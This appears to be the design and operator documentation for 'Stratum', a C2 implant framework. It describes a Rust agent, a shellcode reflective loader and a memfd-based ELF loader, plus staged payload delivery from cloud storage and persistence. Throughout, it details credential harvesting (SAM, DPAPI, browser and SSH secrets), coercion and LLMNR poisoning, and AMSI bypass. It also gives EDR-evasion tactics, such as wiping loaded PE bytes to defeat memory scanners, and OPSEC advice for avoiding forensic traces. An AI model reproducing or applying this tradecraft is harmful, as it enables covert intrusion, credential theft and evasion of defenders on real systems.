Stratum v2 implements true forward secrecy using an Epoch ECDH ratchet (outer ratchet) combined with a KDF chain (inner ratchet). This design ensures that compromise of the current session state does not expose any past traffic, and that message replays and agent forks are detected.

Outer Ratchet — Epoch ECDH (X25519)

Each check-in cycle performs a fresh X25519 Diffie-Hellman key exchange. The resulting shared secret, combined with the previous epoch key as HKDF salt, derives the new epoch_key. Previous epoch keys are destroyed.

─── Epoch Ratchet ───────────────────────────────────────────────────────── Epoch 0 (Bootstrap) │ Agent generates ephemeral X25519 keypair (eph_priv, eph_pub) │ Agent picks prekey_pub[0] from baked pre-key pool │ shared = X25519(eph_priv, prekey_pub[0]) │ epoch_key₀ = HKDF-SHA256(shared, salt=session_key, info="stratum-epoch-0") │ chain_key₀ = HKDF-SHA256(epoch_key₀, salt=agent_id, info="stratum-chain-v1") │ │ Server: iterates prekey_privs[0..7], tries X25519(priv[i], agent_eph_pub) │ until HKDF output matches → bootstraps same epoch_key₀ + chain_key₀ │ Epoch N → N+1 (Rotation) │ Server sends server_eph_pub in command v2 header │ Agent: generates new eph keypair │ shared = X25519(eph_priv_new, server_eph_pub) │ epoch_key_{N+1} = HKDF(shared, salt=epoch_key_N, info="stratum-epoch-{N+1}") │ chain_key_{N+1} = HKDF(epoch_key_{N+1}, salt=agent_id, info="stratum-chain-v1") │ │ epoch_key_N destroyed (prev_epoch_key kept for one cycle only, │ in case of in-flight messages encrypted with old key) │ Key derivation chain: X25519 shared secret │ ▼ HKDF-SHA256(ikm=shared, salt=prev_epoch_key, info="stratum-epoch-N") │ ├── epoch_key (wraps per-message AES keys) │ └── HKDF-SHA256(ikm=epoch_key, salt=agent_id, info="stratum-chain-v1") │ └── chain_key (feeds inner ratchet)

Inner Ratchet — KDF Chain (HMAC-SHA256)

Within each epoch, the chain key ratchets forward on every message. This provides per-message authentication, a monotonic counter for anti-replay, and fork detection (two agents with the same initial state will diverge after the first message).

─── KDF Chain Advance ───────────────────────────────────────────────────── Per message (agent → server): │ msg_key = HMAC-SHA256(chain_key, 0x01) │ chain_key' = HMAC-SHA256(chain_key, 0x02) ← ratchet forward │ tag_input = counter (uint64 LE) || gcm_payload │ chain_tag = HMAC-SHA256(msg_key, tag_input) ← per-message auth │ counter += 1 │ Verification (server side): │ Server advances its chain_key to match claimed counter │ Recomputes chain_tag — must match │ Allows skip of up to 10 messages (MAX_SKIP) for lost heartbeats │ Rejects: counter < server_counter (replay) │ counter > server_counter + MAX_SKIP (desync / fork) │ tag mismatch (tampering / wrong key) Properties: ✓ Forward secrecy — old chain keys cannot be recovered from current state ✓ Anti-replay — monotonic counter rejects duplicate messages ✓ Fork detection — divergent chain states produce mismatched tags ✓ Ordering — out-of-order messages beyond MAX_SKIP are rejected

Implementation

ComponentAgent (Rust)Server (Python)
Moduleepoch.rsproviders/_epoch.py
X25519x25519-dalek cratecryptography.hazmat.primitives.asymmetric.x25519
HKDFhkdf crate (SHA-256)cryptography.hazmat.primitives.kdf.hkdf
HMAChmac crate (SHA-256)hmac stdlib
AES-256-GCMaes-gcm cratecryptography.hazmat.primitives.ciphers.aead.AESGCM
State persistenceHW-keyed blob ({blob}.epoch)Session profile JSON (epoch_state_json)
v2 protocol is mandatory
All agents now use the v2 wire format exclusively. The v1 protocol (base64 colon-delimited, RSA-OAEP key wrapping, static session_key) has been removed. Script agents (bash, PowerShell) have not been updated to v2 and are no longer compatible — deploy the Rust native agent for all new sessions. Existing v1 sessions will not connect to a v2 server.

3Agent Architecture

3.1 Agent Types Overview

Stratum generates multiple agent types per deployment, selecting based on available build tooling. All types implement the same C2 protocol and are interchangeable — an operator can switch from a script agent to a native binary mid-operation without redeployment.

ArtifactPlatformRuntimeRequires
agent.sh / stub.shLinuxbash ≥ 3.2curl, base64, openssl
agent.ps1 / stub.ps1WindowsPowerShell 7+ (.NET 6+)PS execution policy ≠ Restricted; AesGcm not available on PS5.1
*.elfLinuxNone (musl-static)Linux kernel ≥ 3.10, glibc ≥ 2.17
*.exe / *.dllWindowsNone (MSVC-ABI)Windows 7+ x64
*.binWindowsExternal loaderx64 PIC blob; reflectively loads agent.exe in-memory
*.elf (loader)LinuxNone (musl-static)kernel 3.17+ for memfd; falls back to /dev/shm → /tmp
*.dll (loader)WindowsNoneWindows 7+ x64; rundll32 or regsvr32
─── Agent Type Matrix ───────────────────────────────────────────────────── Agent Platform Runtime Dep. EDR Visibility Disk Footprint Deploy w/o Rust ───────────────────────────────────────────────────────────────────────────────────────────── agent.sh Linux bash + curl Script in AMSI-free ~120 KB Yes + openssl zone; no PE imports (after padding) agent.ps1 Windows PowerShell AMSI + PS block log ~100 KB Yes 5.1+ ScriptBlockLogging *.elf Linux None ELF load; no .so ~1.2 MB No musl-static deps in import table musl-static *.exe Windows None PE load; kernel32/ ~1.5 MB No MSVC-ABI ntdll only imports MSVC-ABI *.dll Windows rundll32 / DLL sideload path; ~1.5 MB No regsvr32 no spawned process *.bin Windows External Reflective PE load; ~1.5 MB+ No loader no disk write; PE embedded EXE ELF loader Linux None memfd_create: script ~400 KB No musl-static in kernel anon fd, + embedded .sh no disk path PE loader Windows None DLL loads PS engine ~1.2 MB No MSVC-ABI in-process, no CLI + embedded .ps1 EDR Visibility scale (rough): Low = musl ELF loader via memfd — no PS process tree, no script-on-disk Med = native EXE/DLL (MSVC-ABI) — PE, but no PS/runtime fingerprints High = PS1 script — AMSI, ScriptBlockLogging, PS process in tree Flagged = anything using /tmp or /dev/shm that AV scans proactively

3.2 Script Agents (bash / PowerShell)

Script agents removed in v3.0.1
Script agents (bash, PowerShell) have been fully removed from the codebase. All deploy modes now produce native Rust binaries only (EXE/DLL/BIN/ELF). The Rust agent is the sole operational implementation with the complete tradecraft module.

The section below is historical reference only. All script templates (core.sh, core.ps1, stub variants) and provider transport scripts have been deleted.

Composition at deploy time:

# agent.sh build process (wizard)
transport = providers/dropbox/transport/agent.sh   # token refresh, upload, download
core     = agents/templates/core.sh               # C2 loop, crypto, persistence
agent    = transport + "\n\n" + core              # concatenated, then placeholders substituted

The script agents implement the core feature set: RSA+AES cryptography in pure bash/PowerShell, heartbeat reporting, command dispatch, persistence installation, timestomping, file transfer, and artifact tracking. See §3.5 for the full feature parity matrix — the Rust native agent is the operational reference implementation with the complete tradecraft module.

Encryption layers in the bash stub:

─── Bash stub crypto layers ──────────────────────────────────────────────── _dec() AES-256-GCM PBKDF2-SHA256 (210 000 iter) — stub_secret channel Invoked inline via python3 -c "…" Wire format: "SGCM:" + base64(salt[8] + nonce[12] + ct + tag[16]) Key: stub_secret baked in binary at compile time Used to decrypt stage2.enc (staged-enc) or config blob (stageless-enc) _dec_cmd() AES-256-GCM session_key pre-shared — server→agent command channel Three colon-delimited base64 segments in input.txt: seg1: GCM(session_key, aes_key) — aes_key wrapped with session_key seg2: GCM(aes_key, cmd_payload) — JSON task envelope seg3: RSA-PSS-SHA256 sig over sha256(seg1 || seg2) Agent verifies sig first (authenticity), then GCM-unwraps aes_key, then GCM-decrypts payload. session_key = PLACEHOLDER_SESSION_KEY substituted at build time (or _SS_K in staged-enc mode, see §2.4) _enc() AES-256-CBC OpenSSL PBKDF2 (210 000 iter) — hw-keyed local blob _dec_blob() AES-256-CBC OpenSSL PBKDF2 (210 000 iter) — hw-keyed local blob The two CBC functions handle the hardware-fingerprint-keyed blob (ddb) stored on disk between reboots. They are separate from the stub_secret channel and use OpenSSL directly (no Python needed) since the key is derived from local hw identifiers (SHA-256(MachineGuid + MAC + SALT)) — not transmitted over the network. STUN probe is mandatory — ip_ext field is always populated at startup.
PowerShell stub requires PS7+
stub.ps1 and stub_stageless.ps1 require PowerShell 7+ (.NET 6+) because System.Security.Cryptography.AesGcm is not available on PS5.1 / .NET Framework 4.x. The stub exits immediately with code 1 on older versions. Use the native .exe or .dll agent for targets where only PS5.1 is available.

3.3 Native Rust Agent (agents/native/rust/)

The native Rust agent compiles to fully self-contained binaries with no interpreter dependency. All C2 logic, cryptography, and provider transport are compiled into the binary. The agent is compiled fresh per deployment with all credentials and configuration baked in via build-time environment variables read by build.rs.

Source modules:

  • transport.rs — provider HTTP transport, selected at compile time via cfg(stratum_provider_*)
  • epoch.rs — Epoch ECDH + KDF chain forward secrecy (X25519, HKDF-SHA256, HMAC-SHA256); v2 wire format encrypt/decrypt for heartbeats, commands, and responses
  • crypto.rs — RSA-4096 key load, RSA-PSS verify, AES-256-GCM primitives, staging file decrypt
  • crypto_compat.rs — stage2/config payload decrypt with dual-format dispatch: AES-256-GCM ("SGCM:" prefix, current) and AES-256-CBC legacy ("Salted__" prefix, backward compat); PBKDF2-SHA256 210 000 iter; key is stub_secret baked at compile time
  • persist.rs — full multi-technique persistence engine, mirroring the script agent
  • sysinfo.rs — hostname, user, OS, IP enumeration for heartbeat
  • inlinexec.rs — in-memory execution: BOF, .NET assembly, memexec, fileless scripts
  • staged.rs / stageless_enc.rs — mode-specific bootstrap logic (ddb-first, cloud fallback)

Compilation targets produced per deployment:

  • x86_64-unknown-linux-musl → {base}.elf — musl-static ELF, zero runtime dependencies
  • x86_64-pc-windows-msvc → {base}.exe + {base}.dll — MSVC-ABI PE (requires clang-cl + xwin SDK)

If build tooling is unavailable, the wizard skips the target and emits a warning. Script agents are always generated regardless.

─── Rust Native Agent · Internal Execution Loop ─────────────────────────── STARTUP │ ├─ Reconstruct RSA public key: PK1 + PK2 + PK3 + PK4 (in memory) ├─ Decode pre-key pool (8 × X25519 pub keys from STRATUM_PREKEY_POOL_B64) ├─ Derive agent_id = SHA256("stratum-agent-id:" || session_key) ├─ [staged-enc] try hw-keyed ddb blob → if miss: download stage2.enc, │ decrypt with baked stub_secret, exec in memory ├─ [stageless-enc] try hw-keyed ddb blob → if miss: decrypt baked config │ blob with baked stub_secret in memory ├─ Bootstrap Epoch 0 or restore from persisted epoch state ({blob}.epoch) │ X25519 DH(eph_priv, prekey_pub[0]) → epoch_key₀ via HKDF ├─ Collect SYSINFO: hostname, user, OS, IP (internal), IP (STUN) │ PID, process name, CWD, privilege level, domain └─ Upload heartbeat.txt (v2 binary: epoch-encrypted with chain auth) MAIN LOOP (runs until task type "exit" or "kill" received) │ ▼ ┌──────────────────────────────────────────────────────────────────────┐ │ │ │ 1. WAKE │ │ compute next_sleep = sleep_secs ± (sleep_secs × jitter / 100) │ │ check kill_date — if expired: cleanup + exit │ │ check maintenance_window — if outside window: sleep, skip beacon │ │ │ │ 2. HEARTBEAT (v2 epoch-encrypted) │ │ build heartbeat string (state, host, user, OS, IPs, PID, CWD) │ │ KDF chain advance → chain_tag + counter │ │ AES-256-GCM encrypt with epoch_key │ │ prepend v2 header [0x02|epoch|eph_pub|counter|tag|GCM] │ │ upload heartbeat.txt │ │ persist epoch state to {blob}.epoch │ │ │ │ 3. CHECK CLOUD — command (v2 binary) │ │ try download input.txt │ │ if exists and not MZ/empty: │ │ parse v2 header → extract server_eph_pub │ │ epoch rotate: DH(eph_priv, server_eph_pub) → new epoch_key │ │ GCM-unwrap AES key with epoch_key │ │ RSA-PSS verify signature over (wrapped_aes || payload) │ │ AES-256-GCM decrypt → JSON task envelope │ │ parse: id, type, args │ │ on auth failure → write KM:<ts> to heartbeat, skip dispatch │ │ sync epoch_key into AgentState for staging decrypt │ │ │ │ 4. DISPATCH │ │ match type: persist_* → persist engine (persist.rs) │ │ exit → break loop, clean exit (wire: /stop) │ │ kill → cleanup all artifacts, exit (/kill) │ │ sysinfo → refresh + upload sysinfo │ │ env → dump process environment │ │ shell → platform_exec(args.cmd, args.cwd) │ │ capture stdout+stderr │ │ sleep → update sleep interval │ │ jitter → update jitter percentage │ │ upload → receive file from server, write to disk │ │ download → read file, stage to cloud │ │ exfil → bulk file pull by glob pattern │ │ timestomp → copy timestamps from reference file │ │ timestomp_set → set timestamps to ISO-8601 value │ │ creds_* → credential harvesting module (creds.rs) │ │ harvest, sam, coerce, listen_start/ │ │ listen_stop, listen_dump │ │ bof_exec → in-memory BOF execution (inlinexec.rs) │ │ assembly_exec → .NET assembly in-memory (inlinexec) │ │ assembly_exec_ab → .NET assembly + AMSI bypass │ │ memexec → raw PE/ELF in-memory execution │ │ script_exec → fileless script via stdin pipe │ │ script_exec_ab → fileless script + AMSI bypass │ │ │ │ 5. ENCRYPT RESPONSE (v2 epoch-encrypted) │ │ KDF chain advance → chain_tag + counter │ │ AES-256-GCM encrypt: JSON response envelope with epoch_key │ │ {"id","type","status","output","cwd","artifacts":[...]} │ │ prepend v2 header [0x02|epoch|eph_pub|counter|tag|GCM] │ │ upload output.txt │ │ persist epoch state │ │ │ │ 6. SLEEP + JITTER │ │ thread::sleep(Duration::from_secs(next_sleep)) │ │ │ └───────────────────────────────────┬──────────────────────────────────┘ │ repeat └──────────────► back to step 1 Source files: lib.rs (loop) · epoch.rs (forward secrecy, v2 wire format) transport.rs (cloud I/O) · crypto.rs (RSA-PSS, AES-GCM, staging) persist.rs (techniques) · sysinfo.rs (SYSINFO collection) creds.rs (credential harvesting) · inlinexec.rs (BOF/assembly/memexec) staged.rs / stageless_enc.rs (startup mode logic)

3.4 Shellcode & Loaders

Shellcode (agents/native/shellcode/): Compiles to x86_64-unknown-none with OUTPUT_FORMAT(binary) via a custom linker script, producing a flat position-independent blob with no PE/ELF headers. The blob is a reflective PE loader — it embeds the compiled native Rust agent EXE (agent.exe, MSVC-ABI) and loads it directly into memory at runtime without writing anything to disk or spawning any interpreter process.

Execution sequence inside the blob:

 1. _start()  →  CreateThread(agent_thread)  →  returns immediately

   agent_thread:
 2. PEB walk  →  locate KERNEL32.DLL base (ROR13 hash of module name)
 3. Export scan  →  resolve VirtualAlloc / VirtualProtect / LoadLibraryA / GetProcAddress
 4. VirtualAlloc(RW, SizeOfImage)  →  allocate image-sized region
 5. Copy PE headers + sections to their virtual addresses
 6. Apply base relocations  →  IMAGE_REL_BASED_DIR64 entries patched with delta
 7. Resolve IAT  →  LoadLibraryA per DLL + GetProcAddress per import
 8. VirtualProtect per section  →  .text→RX  .data→RW  etc.
 9. wipe_embedded_pe()  →  VirtualProtect(.rodata, RW) + volatile memset(0)
10. TLS callbacks (if any)
11. Call OEP as DLL_PROCESS_ATTACH  →  agent C2 loop starts
Step 9 — Post-load .rodata wipe
After the PE is mapped and running in its own VirtualAlloc region, the original embedded bytes in the loader's .rodata are no longer needed. The loader makes the page temporarily writable via VirtualProtect, zeroes all bytes with ptr::write_volatile (preventing LLVM dead-store elimination), then restores the original protection. This eliminates the MZ/PE signature and all agent strings from the loader's memory region — defeating post-execution memory scanners (pe-sieve, Moneta) that would otherwise find a full PE image in .rodata. The loaded agent is unaffected — it runs from its own independent region.
Requires MSVC toolchain
The .bin shellcode embeds agent.exe and is therefore built after the EXE compilation step. If the MSVC toolchain (clang-cl + lld-link + xwin SDK) is not available, the .bin artifact is skipped — the wizard prints a clear warning. All other artifacts are unaffected.

Loader compatibility: The blob is standard x64 PIC shellcode — compatible with any external loader that accepts raw shellcode: Cobalt Strike aggressor scripts, Havoc/Sliver stagers, Donut, sRDI, or any custom loader written in C/Rust/Nim/Go. The contract is simple: the blob is position-independent, starts at offset 0, and assumes only that it runs inside a Windows x64 process.

ELF Loader (agents/native/linux/): A musl-static ELF that embeds the bash agent script at compile time via include_bytes!(env!("STRATUM_AGENT_PATH")). Execution chain on the target:

1. memfd_create(".", 0)  // anonymous kernel memory fd (SYS_319)
2. write script bytes to fd
3. exec bash from "/proc/self/fd/<n>"  // script bytes never touch disk

// Fallback chain if memfd unavailable:
4. write to "/dev/shm/.<pid>", exec, delete
5. write to "/tmp/.<pid>", exec, delete

The child bash process sees the script from /proc/self/fd/n, which appears in ls /proc/PID/fd/ but has no corresponding path in the filesystem. The script content is never written to any filesystem path.

PE Loader (agents/native/windows/): A PE/DLL that embeds the PowerShell agent and executes it via CreateThread → PowerShell in-process. Can be invoked via rundll32.exe agent.dll,Run or regsvr32 /s agent.dll.

3.5 Agent Feature Parity

The Rust native agent is the operational reference implementation — it has full feature coverage on both Linux and Windows, and is the only agent supporting the v2 protocol (Epoch ECDH + KDF chain forward secrecy). Script agents (bash, PowerShell) are v1-only and no longer compatible with the server.

Complete Feature Matrix

FeatureRust NativePowerShellBashNotes
Core C2
v2 protocol (Epoch ECDH + KDF)✓——Required. Script agents use v1 and cannot connect
Heartbeat / beacon✓✓✓Rust: v2 binary format. Scripts: v1 (incompatible)
RSA-4096 + AES-256-GCM crypto✓✓✓PS1 uses .NET crypto; bash shells out to python3
Shell pass-through✓✓✓
/sysinfo✓✓✓
/env✓✓✓
/sleep, /jitter✓✓✓
/download, /upload✓✓✓
/exfil (glob staging)✓—✓PS1: use /download or shell equivalent
/timestomp, /timestomp_set✓✓✓
/stop, /kill✓✓✓
Artifact tracking✓✓✓
HW-keyed ddb blob (cold restart)✓✓✓
Kill date / maintenance window✓✓✓
Persistence
/persist probe✓✓✓
/persist install / remove / status✓✓✓
Linux techniques (cron, systemd, rc.local)✓—✓PS1 is Windows-only
Windows techniques (schtask, registry, WMI, service)✓✓—Bash is Linux-only
Credential Harvesting (/creds)
/creds harvest✓✓—Rust: full cross-platform (Linux+Windows). PS1: Windows-only
/creds harvest decrypt✓✓—DPAPI + Chromium AES-GCM decryption
/creds sam✓✓—Rust: in-memory via registry API (SYSTEM or elevated Admin). PS1: reg.exe hive save + stage for offline
/creds coerce✓✓—Rust: SpoolSample+EfsRpc (Win), SSH-agent+Kerberos (Linux). PS1: SpoolSample only
/creds listen start/stop/dump✓✓—Rust: multi-threaded. PS1: poll-based. Protocols: smb (NTLMv2), http (plaintext Basic), http-ntlm (NTLMv2)
LLMNR / NBNS poisoning✓✓—Auto-starts with first listener
Credential deduplication✓✓—By identity key (user::domain for NTLMv2, user:pass for Basic)
In-Memory Execution
/bof (BOF execution)✓——COFF loader — Rust only, Windows only
/assembly (.NET in-memory)✓——CLR hosting — Rust only, Windows only
/assembly-amsibypass (.NET + AMSI bypass)✓——CLR hosting + HW breakpoint on AmsiScanBuffer — Rust only, Windows only
/memexec (PE/ELF in-memory)✓——Win: reflective PE loading. Linux: memfd_create — Rust only, cross-platform
/script (fileless script exec)✓——Pipe to stdin — Rust only, cross-platform (PS/cmd/bash/sh/python)
/script-amsibypass (script + AMSI bypass)✓——Pipe to stdin + HW breakpoint on AmsiScanBuffer — Rust only, Windows PS only
PS1-Only
/blobsave (manual ddb refresh)—✓—Rust handles ddb automatically; bash has equivalent logic
/persist (bare shorthand)—✓—PS1 convenience alias → persist_action dispatch

Why The Gaps Exist

Bash has no /creds module. Credential harvesting requires binary protocol manipulation (SMB2/NTLMSSP handshake, ASN.1/DER encoding, SPNEGO wrapping), in-memory cryptographic operations (AES-GCM, DPAPI, RC4/DES for SAM), and concurrent I/O (TCP listeners + UDP poisoners running alongside the beacon loop). Bash has no native support for any of these — implementing SMB2+NTLMSSP in pure bash would require thousands of lines of printf/xxd hex manipulation with no type safety, and would produce a fragile, unmaintainable module with no realistic path to correctness. The Rust native agent runs on Linux with full /creds support including in-memory SAM-equivalent (/etc/shadow parsing), SSH key harvesting, browser credential extraction, and the complete listener/poisoner stack. For Linux targets that need credential harvesting, deploy the Rust agent.

Bash has no /bof, /assembly, /assembly-amsibypass, /memexec, /script, /script-amsibypass. In-memory execution (COFF loading, CLR hosting, reflective PE/ELF loading) and fileless script execution require capabilities that are fundamentally impossible in a shell interpreter. These capabilities exist only in the compiled Rust agent.

PowerShell /creds has implementation-level differences from Rust.

  • SAM extraction: Rust reads SAM/SYSTEM hives in-memory via registry API with REG_OPTION_BACKUP_RESTORE — zero processes spawned, zero files on disk, zero command-line telemetry. RtlAdjustPrivilege auto-enables SeBackupPrivilege, so SAM works from elevated Admin (not just SYSTEM). PS1 uses reg.exe save to dump hives to temp files, stages them for offline cracking with secretsdump.py, then deletes the temp files. The PS1 approach leaves brief forensic artifacts (temp hive files, reg.exe in process logs) that the Rust approach avoids entirely.
  • Coercion: Rust implements both SpoolSample (MS-RPRN) and EfsRpc (MS-EFSR) on Windows, plus SSH-agent hijack and Kerberos ccache enumeration on Linux. PS1 implements SpoolSample only (Windows-only agent).
  • Listeners: Rust runs SMB/HTTP listeners as dedicated threads — connections are accepted and processed in real-time regardless of beacon sleep interval. PS1 uses a poll-based architecture where pending connections are checked once per beacon cycle. With a 60-second sleep, a client connection arriving at second 1 will not be processed until second 60. For low-sleep deployments (5–15s) this is operationally acceptable; for long-sleep deployments (60s+) the Rust agent is strongly preferred for listener tasks.
  • Harvest cross-platform: Rust harvest covers both Linux (SSH keys, GPG, cloud creds, NetworkManager WiFi, /etc/shadow, Kerberos ccache, GNOME Keyring, browser profiles) and Windows (DPAPI, Chrome/Edge, Firefox, WiFi, RDP, Vault, cloud creds, FileZilla, mRemoteNG, PowerShell history, Git). PS1 covers Windows only.

PowerShell has no /bof, /assembly, /assembly-amsibypass, /memexec, /script, /script-amsibypass. While PowerShell can theoretically host CLR assemblies and P/Invoke native code, reliable COFF loading, reflective PE execution, and fileless script piping require low-level control over memory layout that PowerShell's managed runtime does not provide safely. The Rust agent implements these as compiled native code with direct control over memory allocation and protection flags.

Operational recommendation
Deploy the Rust native agent for all new sessions. It is the only agent supporting the v2 protocol (forward secrecy), and the only beacon with complete feature coverage on both platforms. Script agents (bash, PowerShell) use the v1 protocol and cannot connect to a v2 server.

3.6 Choosing the Right Agent

SituationRecommended AgentRationale
Default Linux deployment.elf (Rust native)Full feature parity including /creds, /bof, /memexec. Musl-static, zero dependencies
Minimal Linux (no Rust toolchain).sh (legacy v1 only)Script works only with v1 servers. For v2: cross-compile Rust agent on operator machine
Default Windows deployment.exe (Rust native)Full feature parity including in-memory SAM, /creds, /bof. No interpreter in process tree
Windows (no Rust toolchain).ps1 (legacy v1 only)v1 protocol only — requires v1 server. For v2: cross-compile Rust agent on operator machine
EDR-heavy Windows environment.exe (MSVC-ABI)No PowerShell in process tree; MSVC import table; binary-level entropy balanced
Credential harvesting / listenersRust native (any format)Multi-threaded listeners, in-memory SAM, cross-platform harvest. PS1 is poll-based with higher OPSEC cost on SAM
In-memory execution (BOF/assembly)Rust native onlyCOFF loading, CLR hosting, reflective PE/ELF — not available in script agents
Injection / reflective load.bin shellcodeFlat PE-free blob, inject into any host process. Carries the full Rust agent
DLL sideloading.dllDrops into legitimate DLL search paths; rundll32/regsvr32 invocation

4Deployment Modes

Stratum supports three delivery architectures. The choice determines how the agent payload reaches execution on the target, and what survives a disk forensic acquisition.

4.1 Staged-Enc

Staged-Enc

A small stub is delivered to the target. The stub has a 256-bit stub_secret baked into it at compile time. On first execution, the stub checks a local hw-keyed cache (ddb blob); on miss it downloads stage2.enc from the cloud, decrypts it with the baked-in secret, and executes the full agent entirely in memory. The secret never leaves the binary — no key fetch from cloud.

Cloud folder at deploy time: stage2.enc ← AES-256-GCM encrypted full agent (SGCM: prefix) decryption key = stub_secret baked into stub binary .s2l / .s2w ← (script agents: same payload, same wire format) Execution on target (first run): stub.sh runs → check ddb blob (miss) → download stage2.enc → decrypt with baked stub_secret in memory → exec agent in memory → write hw-keyed ddb blob to disk for subsequent restarts Execution on target (subsequent restarts): stub.sh runs → check ddb blob (hit) → decrypt with hw key → exec agent
Advantages
  • Smallest initial footprint on disk
  • Full agent payload never written to disk
  • Stage-2 can be updated without re-delivery of the stub
  • stub_secret never transits the network — not in cloud storage
  • Fast cold restart via local hw-keyed ddb blob (no cloud fetch)
Trade-offs
  • Requires internet connectivity on first execution (ddb miss)
  • stage2.enc visible in cloud folder until first heartbeat (encrypted)
  • Stub alone has no C2 capability without ddb or cloud
─── Staged-Enc · Detailed Boot Sequence ─────────────────────────────────── Cloud state at deploy time (wizard uploads): {folder}/ stage2.enc = AES-256-GCM encrypted full agent (bash or PS1) key: stub_secret (baked in binary — NOT in cloud) T=0 stub.sh / stub.ps1 / stub.exe executed on target │ (stub: ~40 KB, contains cloud creds + folder path + baked stub_secret) │ T=1 check hw-keyed ddb blob (path 0) │ hw_key = SHA-256(MachineGuid + MAC + SALT) → 32 bytes │ if ddb blob exists and decrypts cleanly → fast boot (skip T=2/T=3) │ else → fall through to cloud path │ T=2 download stage2.enc from cloud (path 1 — first run or ddb miss) │ GET {folder}/stage2.enc — encrypted with stub_secret │ ~100 KB HTTPS download to cloud API │ T=3 decrypt stage-2 in memory │ AES-256-GCM decrypt(ciphertext, PBKDF2(stub_secret, salt, 210000)) │ Wire format: "SGCM:" + base64(salt[8] + nonce[12] + ct + tag[16]) │ No decrypted bytes written to disk │ T=4 execute stage-2 in memory │ Linux: write to memfd → exec bash /proc/self/fd/N │ Windows: Invoke-Expression(decrypted_ps_bytes) │ T=5 agent running — first heartbeat uploaded │ RSA public key reconstructed from PK1..PK4 │ SYSINFO collected, heartbeat.txt uploaded │ Server receives heartbeat → deletes stage2.enc from cloud │ T=5+ write hw-keyed ddb blob to disk blob = AES-CBC encrypt(config, SHA-256(MachineGuid + MAC + SALT)) all subsequent restarts use ddb path — no cloud fetch required Forensic footprint at T=5+: Disk: stub (~40 KB) + ddb blob (hw-bound, machine-specific) RAM: agent + decrypted config (no additional filesystem artifact) Cloud: stage2.enc: gone (deleted by server on first heartbeat) no key material ever stored in cloud

4.2 Stageless-Plain

Stageless-Plain

The full agent — transport credentials, RSA public key, C2 configuration — is embedded in the delivery file in plaintext (though all C2 traffic remains encrypted). Single file, zero cloud dependencies at runtime. No bootstrap key.

Advantages
  • Single file delivery, no cloud deps at execution
  • Works in disconnected / sporadic-connectivity scenarios
  • Simplest to understand and audit
Trade-offs
  • Cloud credentials readable from disk image if agent is captured
  • Best used in controlled lab or air-gapped environments

4.3 Stageless-Enc (Stub Secret)

Stageless-Enc — recommended for production

The full C2 configuration (folder path, credentials, RSA key) is AES-256-GCM encrypted with the stub_secret baked into the delivery file at compile time. The encrypted config blob and the decryption key are both in the binary — no cloud fetch needed even on first run. On first execution, the stub checks the local hw-keyed ddb blob; on miss it decrypts the baked config with stub_secret in memory, runs the agent, and caches the decrypted config as a hw-keyed blob for fast subsequent restarts. See §2.4 for full protocol detail.

Advantages
  • Works entirely offline — no cloud access needed even on first run
  • stub_secret never transmitted over any network
  • Cloud credential compromise yields nothing (config not on cloud)
  • Best OPSEC posture for long-haul and restricted-connectivity ops
  • Fast restart from hw-keyed ddb blob — no cloud dependency ever
Trade-offs
  • Binary contains both encrypted config and decryption key — if binary is captured and analysed, config is accessible to a determined analyst
  • Payload cannot be updated without re-delivering the stub
─── Three Modes: What's Delivered · What Runs · Where the Key Lives ─────── STAGED-ENC STAGELESS-ENC STAGELESS-PLAIN ─────────────────────────────────────────────────────────────────────── File delivered stub.sh/ps1 full agent full agent to target (~40 KB) enc blob + key plaintext config (~1.5 MB) (~1.5 MB) Stage-2 payload In cloud Baked in (enc.) Baked in (plain) location (stage2.enc) Config location In cloud Encrypted in Plaintext in (stage2.enc) delivered file delivered file Key location Baked in stub Baked in stub No key needed at deploy (not in cloud) (not in cloud) Key in cloud? Never Never N/A What runs Stage-2 from Decrypted config Plaintext config in memory cloud (AES dec) in RAM in RAM 1st run only; ddb on restart Can restart Yes — from ddb Yes — from ddb Yes (always) from cold? blob (hw-keyed) blob (hw-keyed) Disk survives Stub + ddb blob Binary + ddb blob FULL CONFIG forensic imaging (ddb hw-bound) (key in binary) (credentials exposed) Cloud survives stage2.enc gone Nothing on cloud Nothing forensic imaging after 1st HB Recommended for Updatable Production ops, Lab / air-gap only operations restricted net

4.4 OPSEC Comparison

PropertyStaged-EncStageless-PlainStageless-Enc
Disk footprintStub + hw blobFull agentBinary + hw blob
Credentials on diskNone in stubYes (embedded)Encrypted in binary
Payload recoverable from diskStub only (no payload)YesWith reverse engineering of binary
Requires net at each executionFirst run only (ddb after)NoNo (never)
Key ever in cloudNeverN/ANever
Cloud folder after first HBstage2.enc deletedNothing at runtimeNothing sensitive
Best forUpdatable payload, active opsLab, air-gapLong-haul, restricted net, hostile IR
─── Decision Tree: Which Deploy Mode? ───────────────────────────────────── Is the target in a fully air-gapped / no-internet environment? │ ├─ YES → Use Stageless-Plain │ Agent operates entirely from disk, zero cloud deps ever. │ Accept: credentials readable from disk image if binary captured. │ └─ NO → Do you need to update the payload without re-delivery of the stub? │ ├─ YES → Use Staged-Enc │ Replace stage2.enc in cloud folder any time. │ Stub picks up new payload on next ddb-miss execution. │ Key: stub_secret baked in stub — not in cloud. │ After first run: subsequent boots use hw-keyed ddb blob. │ └─ NO → Use Stageless-Enc ← recommended default Maximum OPSEC: config + key both in binary, nothing on cloud. Works offline from first execution onward. Fast restart from hw-keyed ddb blob — no network dependency. Single-file delivery, simplest to operate long-term.

4.5 Decision Guide

  • Default choice for any production deployment: stageless-enc. Maximum OPSEC: config and stub_secret are both in the binary, nothing sensitive ever touches cloud storage. Works offline on every run after the binary lands on target.
  • Need to update payload without re-delivery: staged-enc. Replace stage2.enc in the cloud folder at any time; on the next ddb-miss execution the stub picks up the new payload. stub_secret stays baked in the already-delivered stub — no re-delivery of the stub needed for payload updates.
  • Targeting an air-gapped or fully offline environment: stageless-plain. No cloud access ever. Accept that credentials are readable from the binary.
  • Testing / lab use: any mode. stageless-plain is simplest to debug.

5Persistence Engine

5.1 Protocol Design

Stratum's persistence engine is built around a multi-technique protocol that separates capability probing from installation. Before any persistence technique is installed, the agent performs a non-destructive feasibility check. Only techniques confirmed available at the current privilege level are offered for installation. This prevents failed install attempts from leaving forensic traces — partial registry keys, half-created scheduled tasks, or incomplete service configurations that IR teams find during investigations.

Each technique is independently addressable by a string ID (e.g. schtask-logon, systemd-user) and supports four operations: PROBE, INSTALL, STATUS, REMOVE. All techniques are individually testable, installable, and removable, giving the operator surgical control over the persistence posture.

